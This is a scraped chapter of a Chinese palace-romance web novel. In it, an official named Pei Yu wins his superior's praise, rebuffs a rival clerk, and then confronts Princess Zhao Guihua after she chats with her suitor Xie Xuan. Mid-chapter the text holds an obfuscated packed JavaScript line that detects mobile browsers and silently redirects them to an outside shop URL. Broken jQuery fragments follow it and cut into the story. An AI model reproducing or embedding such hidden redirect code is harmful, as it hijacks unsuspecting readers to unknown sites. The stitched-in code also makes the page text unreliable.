文趣网 > 都市小说 > 钓世子 > 29. 真心
    日暖风和,裴府。

    裴钰清晨一出门,就见赵姽婳立在门口,瞧着闷闷不乐,似有心事。

    “公主这是怎么了?”

    “我拒绝了谢暄,太嫔很生气。你下衙后,陪我去买个礼物,哄她高兴好不好?”赵姽婳的表情很是委屈。

    裴钰眼波一转:“昨日怎未听公主提起?”

    “昨日你是寿星,我怎好扫你的兴?今日实在是躲不开了,好不好啊?好不好啊?”她一边扯着裴钰的袖子,一边蹙眉看他,又开始撒娇。

    这不仅是买礼物,更是向太嫔表态了。

    “裴少卿……”

    “寺卿请讲。”直到到了鸿胪寺,裴钰心里还想着赵姽婳的话。

    吴运昌瞧着手里的簿案,忍不住赞叹道:“你这次对夏使的接待做得很好。夏使说你思虑周全,体贴入微,不仅一早就按他们的喜好,打点妥当了一应饮食起居,而且主动请人为他们讲解我大魏的民俗文化,让他们有宾至如归的感觉。”

    “对了,他们还说你聪颖好学,知礼明德,五六日就学会了简单的夏语,与他们日常交流起来也不费力,说是感受到了你的善意和尊重。”

    “寺卿过奖了,这些都是下官该做的。”裴钰淡淡道。

    吴运昌捋了捋胡子,感叹道:“虽说都是份内之事,可这些年我带过的属官没有上百,七八十总是有的,你却是其中最用心的。”

    “多谢寺卿夸奖,日后裴钰定更加用心,不负大人嘱托。”裴钰略拱了拱手,态度谦逊。

    吴运昌站了起来,拍了拍他的肩:“很好。你年纪小,又是正经的一甲进士出身,假以时日,必定前途无限。”

    “那便借寺卿吉言。若真有那一日,裴钰定不忘大人今日提携之恩。”

    吴运昌满意地点点头,心道:是个值得栽培的好苗子。

    “裴大人,可有什么下官能帮上忙的地方?”一见吴运昌走远了,这位孙坤源孙寺丞不知从哪里又冒出来了。

    想到他之前的作为,裴钰唇边闪过一缕淡淡的笑意:“孙寺丞负责的部分,一向都做得很好。若有需要,我会叫你。”

    这是给他软钉子吃了?

    孙坤源今年三十二岁,二甲进士出身,在鸿胪寺已呆了十年有余,好不容易熬走了杨翼,寺里少卿的位置空出一个,想着自己的官职终于能往上动一动了。结果还没高兴两日,就听说皇上指名让新科进士裴钰补缺。

    授职文书下来那日,他整个人就像在冬日里行走,却被人兜头浇了一桶冰水,寒意浸透四肢百骸。

    没错,裴钰是皇上钦点的探花,前途无量,他比不了,也不敢比。可陈敬萧又算什么东西?不过是同进士出身,论才学,还不如他呢,竟也在他头上坐了这么多年?

    当然,英雄不问出处,若陈敬萧真比他精明能干,那也就算了,他孙坤源心服口服,没什么好说的。

    可陈敬萧志广才疏,碌碌无能,是个十足的草包,整日只知道流连青楼楚坊,一遇上点儿事,就推给别人,之前靠杨翼,现在靠裴钰。既无才干,又无品德,到底凭什么?

    于是,他旁敲侧击,有意鼓动裴钰和陈敬萧闹一闹,想着既然裴钰动不了,将陈敬萧赶走也是好的。谁曾想裴钰瞧着年轻,心思倒深沉,借着御史台稽查账册一事,不仅将陈敬萧收拾得服服帖帖,还顺带着让陈敬萧恨上了他。

    思及此,他悔不当初,真是搬起石头砸了自己的脚。

    这些时日,眼瞧着裴钰主持衙门大小事务,在吴运昌面前愈发得脸,他这心里自然慌张,有意在他面前卖个好,可没想到人家压根儿不领情。

    “孙寺丞不必多心,我年纪尚轻,比不得你阅历广,日后需要你指点的地方,还多的是。自然,他日若孙寺丞有用到我的地方,只要我能力所及,亦不会推托。”裴钰见他立在那里,脸色不好,主动宽慰。

    孙坤源闻言,郑重其事举起双手深深一揖道:“裴大人这么说,下官就放心了。日后裴大人有用到下官的地方,尽管开口。”

    好好好,他断了自己和陈敬萧的最后一丝情面,又将自己晾了这么久,终于肯接受他的示好。

    罢了,好在今后他们就是一条船上的人了,他也不用再提心吊胆了。

    博古斋里,赵姽婳瞧着紫檀架上的各式珍品,心里却想着已经到下衙的时辰了,裴钰怎么还不来。

    虽说裴钰今日没有当面答应她,但是,她就是觉得他会来。

    “微臣见过公主。”

    终于来了,赵姽婳笑着转身,准备向他诉诉苦,没想到见到的竟是谢暄。

    谢暄本就仪态极好,今日穿的齐紫云锦袍更是为他添了两分矜贵。

    “谢大人不必客气。前日回去,谢尚书和谢夫人,可有说你什么?”

    赵姽婳利用谢暄刺激裴钰是事实,本想着过些时日,待谢暄另择佳偶,此事也就过去了,没想到这么快就又碰上了,面上难免尴尬。

    谢暄浅笑:“公主是金枝玉叶,能与公主见上一面,说上几句话,已是微臣的荣幸,怎敢再奢求旁的?再说,男女相看,没有看上也实属正常,公主切勿挂怀。”

    没想到他性子这般豁达,赵姽婳对其又添一分敬意,之前心里那点不便言说的情绪,也瞬间烟消云散。

    “正是。谢大人姿容既好,神情亦佳,来日定能聘得名门淑女。”

    谢暄叹气自嘲:“坦白说,微臣来这里之前,心中多少亦有些苦闷,反复揣测公主是不喜微臣哪里?容貌?性情?抑或是因为微臣年长公主五岁……”

    赵姽婳扑哧一笑,时下女子十五及笄,男子二十弱冠,五岁之差本就是常理,他怎么会想到这里。

    谢暄见她笑,也跟着笑了,良久后才道:“可是刚才听了公主的话,微臣这心里又踏实了。毕竟世人都说临安公主率性而为,还曾当面怼得周御史哑口无言,总不至于诓骗微臣。”

    “那是自然。不过,谢大人似乎和我想象中的不太一样。”

    平日里只听人说谢暄满腹经纶,赵姽婳还以为他是那种食古不化之人,可经过这两次的接触,她倒觉得他的性子还挺有趣的,她现在有些理解郑太嫔为什么要让他们相看了。

    “哦?如何不同……”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576422|204024||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    谢暄还欲再说,却被身后的裴钰打断:“微臣见过公主,谢侍郎有礼。”

    “裴少卿有礼。”谢暄亦向裴钰拱了拱手。

    “你怎么才来啊?我在这里等你好久了……”赵姽婳走到裴钰身侧,眉心微蹙,红唇翕动,一双杏眼欲说还休,分明就是女儿家向心上人撒娇的样子。

    “今日衙门事多。”裴钰低声哄道,看着也不似外间传言那般冷淡。

    谢暄不是不识趣的人,见此情形,主动道:“微臣家中还有事,不便久留,告辞。”

    见门口的人离得远了,裴钰一把抓起赵姽婳的右手,带着她向二楼走去,手心力道之大,捏得她的骨头都有些疼了。

    “裴大人,你这是做什么?”赵姽婳不明所以,只是隐约觉得他今日的情绪有些不太对。

    裴钰没有回答,只是两手掐着她的腰肢,将人抱到了桌上。

    “裴大人吃醋了,对不对?”赵姽婳伸出两条胳膊,轻轻攀上他的肩颈。虽是问句,但语气却很肯定。

    因为她坐的桌子比较高的缘故,两人现在几乎是平视。

    “公主可是真心喜欢微臣?”裴钰认真地看着赵姽婳,不想错过她任何一个细微的表情。

    赵姽婳点头如捣蒜。

    谎话说了一千遍,看上去就不像谎话了,眼神自然,动作流畅,任谁也挑不出一点儿错。

    得到想要的答案,他又俯身凑近几分,两人的距离近在咫尺,男子温热的呼吸落在她肌肤上。

    赵姽婳心跳如鼓,下意识偏头,躲开了他的亲吻。

    裴钰身形一僵,眼中的失落一闪而逝,渐渐直起身,准备放开她。

    “刚才楼下有人路过……”赵姽婳粉面含春,眉眼间有些羞涩。

    原来如此,女子害羞也属正常。裴钰神情大霁,抚了抚她耳边的碎发,眉骨下的眼神温柔如水。

    “这是微臣上个月托人盘下的铺子,他们不会上来。”

    “裴大人可真富裕,那一会儿我随便拿了。”赵姽婳凑到他耳边揶揄他,说完,又将他的脖子搂得更紧:“所以,刚才为什么不开心?”

    裴钰低下头,在她唇角落下一吻,一字一句道:“公主于臣,便是那天上的明月,可望而不可即。可若明月一心照我,我也愿为明月攀一攀那天梯,纵使摔得粉身碎骨,亦无怨无悔。”

    看着他眼中的深情,赵姽婳呼吸一滞,她满嘴谎话,只爱自己,何德何能得他倾心相待。

    罢了,反正他永远不会发现她接近他的真实意图,那么她在他眼里,始终是喜欢他的,始终是值得的。

    “放心吧,裴大人。你要是摔了,心疼的可是我。”赵姽婳伏在他肩膀上,娇嗔道。

    裴钰闻言轻笑,双手拥住她的腰,将她抱了个满怀。

    你看,这就是男人,昨日想碰一下她的头发,都要犹豫半天。今日一见她和别的男人说话,醋意上来,就要亲要抱了。

    赵姽婳靠在他怀里,还是熟悉的皂荚香气。

    她不喜欢他,也不讨厌他。但他身上的味道很干净很好闻,她并不排斥。